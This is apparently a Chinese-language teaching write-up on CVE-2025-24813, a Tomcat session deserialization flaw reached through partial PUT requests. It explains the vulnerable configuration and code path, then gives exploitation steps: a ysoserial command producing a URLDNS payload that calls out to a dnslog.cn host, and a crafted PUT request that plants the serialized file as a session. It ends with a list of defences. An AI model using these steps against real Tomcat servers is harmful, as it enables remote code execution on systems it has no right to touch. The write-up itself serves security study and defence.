Tomcat 漏洞分析(CVE-2025-24813)
字数 1044 2025-08-30 06:50:35
Tomcat 反序列化漏洞分析(CVE-2025-24813) 教学文档
漏洞概述
CVE-2025-24813 是 Apache Tomcat 中存在的一个反序列化漏洞,攻击者可以通过构造特殊的 HTTP PUT 请求将恶意序列化数据写入服务器会话文件,当服务器读取这些文件时触发反序列化操作,可能导致远程代码执行(RCE)。
漏洞环境配置
- 启用 PUT 请求支持:
- 默认情况下 Tomcat 的 PUT 请求功能是关闭的
- 需要修改
conf/web.xml文件中的readonly参数值为false
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
漏洞分析
序列化文件写入过程
-
PUT 请求处理:
- Tomcat 处理 PUT 请求时会调用
executePartialPut方法创建文件 - 文件路径由请求的 URL 决定 (
getRelativePath(req))
- Tomcat 处理 PUT 请求时会调用
-
关键代码:
// 设置文件路径,文件路径就是url
String path = getRelativePath(req);
InputStream resourceInputStream = null;
// 创建文件
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile)
- 文件存储位置:
- 默认存储在
work/Catalina/localhost/ROOT目录下 - 文件扩展名为
.session
- 默认存储在
反序列化触发点
-
反序列化入口:
- 漏洞触发点在
session.readObjectData(ois) ois是通过FileInputStream读取的恶意文件
- 漏洞触发点在
-
会话ID控制:
- 文件路径由
id + FILE_EXT(.session)组成 id来源于Request类的requestedSessionId属性- 通过
parseSessionCookiesId方法设置会话ID
- 文件路径由
漏洞利用步骤
1. 生成恶意序列化数据
使用 ysoserial 工具生成 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://op9gyt.dnslog.cn > 2.bin
2. 构造HTTP请求上传恶意文件
PUT /jc/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 5000
Content-Range: bytes 0-5000/5200
{{file(C:\Users\jc\Downloads\2.bin)}}
3. 触发反序列化
当服务器读取该会话文件时,会自动触发反序列化操作,执行payload中的恶意代码。
防御措施
- 保持
readonly参数为true(默认值) - 禁用不必要的 HTTP 方法(如 PUT、DELETE 等)
- 升级到修复版本(当官方发布补丁后)
- 实施输入验证,特别是对会话ID的处理
- 使用安全管理器限制反序列化操作
参考
- 本文参考了 jweny 师傅分享的《全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现》
- ysoserial 工具:https://github.com/frohoff/ysoserial
注:本教学文档仅供安全研究和防御使用,请勿用于非法用途。